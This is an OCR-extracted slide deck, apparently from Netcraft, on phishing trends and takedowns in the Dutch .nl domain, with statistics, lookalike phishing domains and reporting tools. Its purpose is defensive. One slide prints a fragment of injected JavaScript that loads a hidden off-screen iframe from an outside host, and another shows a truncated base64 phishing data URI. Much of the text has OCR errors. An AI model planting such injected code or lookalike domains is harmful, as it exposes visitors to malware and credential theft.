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What is phishing?

e “fishing for information”
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 Over 18 million phishing sites
blocked by Netcraft since 2005

e Estimated £35 million annual
UK loses™

* Source: UK Cards Association (2012)



Spot the difference?

Personal Business. Emal address Torgor?

Password | Login [EFY

PayPa[‘ Buy ~ sell ~ Transfer ~

Redesigned with you in mind.

When it came to updating our website, we brought in an expert: You.

Buy into being safer
No matter where you shop, wea€™Il keep your
financial information private and protected

Sell in fewer steps
Gone are the days of waiting to get paid. Now you
can request a secure payment in a few clicks.

More about buying More about selling

Help  Contactus Fees Security ~Accountfeamres Developers Parmers

Jobs  Stemap eBay Site feedback

AboutPayPal  Merchant services  PayPalblog  Pay

Copyright A®. 2012 PayPal. Al rights

erved. | Privacy policy  Legal agreements

Explore

Explore the redesign

Welcome to your new homepage

Take the t

Transfer money to friends
Money is easier between friends when ita€™s this.
simple to send them money.

More about transferring

Search a

Personal Business.

PayPa[‘ Buy ~ sell ~ Transfer ~ Explore

Expect more from your money.

‘When you shop with us, you can pay how you want,
when you want, where you want.

Sign Up for Free

Buy into being safer
Wherever you shop, we can keep your financial
information private and protected

Sell in fewer steps
No more waiting to get paid. Now you can accept
secure payments from anyone in a few clicks

Transfer money to friends
Paying them back or helping them out, send
money to friends quickly and easily.

More about buying

More about selling More about transferring

Help  Contact Fees Security Feawres  Shop Search a

Abow Blog Jobs Stemap eBay Developers  Feedback

Copyright © 13 PayPal, Allrights reserved. | Privacy

Legal




Phishing is always evolving

Phishing attacks can be encoded in a

GMT 2016-01-07 21:11:13 Email Login

data: text/html; base64,PCFkb2N0eXB1IGhObww+DQo8aHRtbD4ANCjx0ZWFKPgOKPG11dGEgY2hhcnN1dDOidXRmL
TgiPgOKPHRpAGX1PKVtYWLSIEXVZ21uPC90aXRSZT4NCjxzdH1sZSBOeXB1PSJOZXhOL2NzcyI+DQo8ISOtDQouc3R5
bGUXIHsJYmFja2dyb3VuzCljb2xvcjogIOZGRKZGRjSNCNONCi5zdH1sZTUgewdOKCWZvbnQtc216ZToghGFyZ2U7D[ .

-1

" To view the shared document, you are required to

Login with your email address below:

Dropbox. Your stuff, anywhere.

Gmail AOL &> | £2

VﬁmﬂﬁéLNe
YAHOO! Other emails

Email Address: |

Email Password: |




More unusual attacks

e Attacks are sent as
with the | % Barclays Online Banking - L... | & |

phlshlng email « | *(ﬁle:ﬁftmpfﬂarclays - Fnrm.hth
* The attached form submits

toa % BARCLAYS

ﬂ cdrclays secure oniine panking

e Commonly the useris

. Login
redirected to the target
organisation i.e. Barclays Security Check
. Please enter your security details below
 No fraudulent content is
publicly visible



Tackling abuse for TLDs

. is managed by

. registered domains(!!

. ccTLD!

* .nl+.com combined account s I D N
for of Dutch internet

user’s website visits!?!




abuse204.nl

Reduce phishing and malware

SIDN

Partnership with
Established




Attack countermeasures

* Netcraft automatically contacts relevant parties in
order to have attacks shutdown as quickly as

possible

e Key questions: Who to contact, How best to contact
them, How to monitor and ensure the attack
remains down
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Abuse within .nl

* Phishing attacks against Dutch companies:

Organisation _nlrank | Worldwiderank
ABN AMRO Bank N.V 9 141
ING Group 13 114
Rabobank 15 81
Marktplaats 24 142

* Phishing attacks in Dutch: worldwide vs in .nl




Protecting .nl

* Making “fe eaSier for IP address 46.235 43.66
receivers of the ASPECTZ Country =N

Metblock owner WebReus Webhosting

re p O rts W |t h : See full site report

e Machine readable

http://aspectz.nl/
o 7
8. </head:

g,
Web 1@. <body bgcolor="#FFFFFF"> {script>

11. wvar _q = document.createElement( 'ifram='),

Interface tO highllght 12. _n = 'setAttribute’;

1. _gq[ n]('src', "http://mytresca.com/counter.php');

. <title»Nieuwe pagina 3</title>

14. _q.style.pesition = 'absolute’;

maliCious COde 15. _q.style.width = "l6px’;

1. _q[_n]('frameborder', navigator.userfAgent.indexOf( 29c3325076d767.
17. _q.style.left = "-62@8px"';
18.

_JIETCRAFT



The result

of phishing attacks
down within first 24 hours

 Median final outage

§
after discovery E‘l

* Previous median outage 13
hrs in .nl (Oct 2013), 10 hrs
worldwide in 2H 2014
(APWG) 11

e 9% |3rgest TLD by domains
responding to HTTP, but
only ranked by unique
phishing domains 2!

_JIETCRAFT




Domains registered for fraud

admarkt.marktplaatl.nl
server-lcscards.nl
apple-Icloud.nl

Phishing Domains in netflixgarantie.nl

Traditional TLDs youtrube.nl
googla.nl

hm-gov.co.uk

cloud-unlock.p EZEmEme

paypal-office.com
halifaxonline-uk.com
itunes-security.net
natwestnwolb.co.uk Bank of America %%~ Sign In
banskfamerica.com

nationalrailco.uk Your Online ID

P Please enter your Online ID

€« C' M £ nhttps//banskfamerica.com/b326a0fa




New gTLDs

Top gTLDs by count of domains
e 250 new gTLDS responding to HTTP

website,

3% of all domains 91,103 Nline, 81,747
di HTTP click, 92,685
responding to link, 104,521

are now in new science,

gTLDs* 128,775
* (0.9pp increase wang, 130,462
from 6 months

ago*

E * Source: Netcraft Web Server Survey



Deceptive domains in new gTLDs

* New gTLDs provide new
options for phishers to
register convincing
fraudulent domains

* Promotional offers are
common in new gTLDs

* In the last 6 months
new gTLDs have had
phishing attacks in them

i‘gcRQT

paypal-account-vertification.center
paypal.resolution-center.help
paypals.help

Imessage.help

paypal-intl.support

New gTLDs

All in or
Pick a car

Log in to your account

i get a line «
Email address
how to spi



Useful tools — Netcraft Extension

@57 n
° www.google.co.uk :
e Chrome, Opera & Firefox B
* Live blocking of phishing ik Roting: 0
attacks ot socm oy 2015 e Google ne.
* Easily accessible site S S
information gl

&C R? T



Useful tools — Site report

* http://toolbar.netcraft.com/site report

* Hosting History, SSL Certificate Information
(Revocation, Heartbleed, PFS), DMARC / SPF, Site
Technologies , Web Trackers

= Web Trackers

Web Trackers are third-party resources loaded onto a webpage. Trackable resources include social sharing widgets, javascript files, and
images. These trackers can be used to monitor individual user behaviour across the web. Data derived from these trackers are primarily
used for advertising or analytics purposes.

9 known trackers were identified.

@ Adobe (1)

@ Amazon (1)
@ ComScore (1)
Google (1)

@ Nielsen (1)
@ Ooyala (1)
@ Other (3)




Useful tools — Blog

* http://news.netcraft.com

e Recent articles:

— BBC websites still suffering after DDoS attack
— World Bank hacked by PayPal phishers
— Nigerian government serving up fresh phish

ER&ET Contact Us |5L|:-5C| be ‘e’ W QW'

Home | Mews | Anti-Phishing - | Security Testing - | Intemnet Data Mining ~ | Performance ~ | About Netcraft «

US military still SHAckled to outdated DoD PKI infrastructure Most Popular

Despite widespread concerns over the security of the SHA-1 hash algorithm, the US Department of Defense is still issuing SHA-1 signed 1. November 2015 Web Server Survey




Reporting fraudulent sites

 Protect the internet!
* http://toolbar.netcraft.com/report_url
e Email scam@netcraft.com

 Receive branded goodies:
Flash drive, Mug, Polo Shirt,
Targus Backpack & even an iPad!
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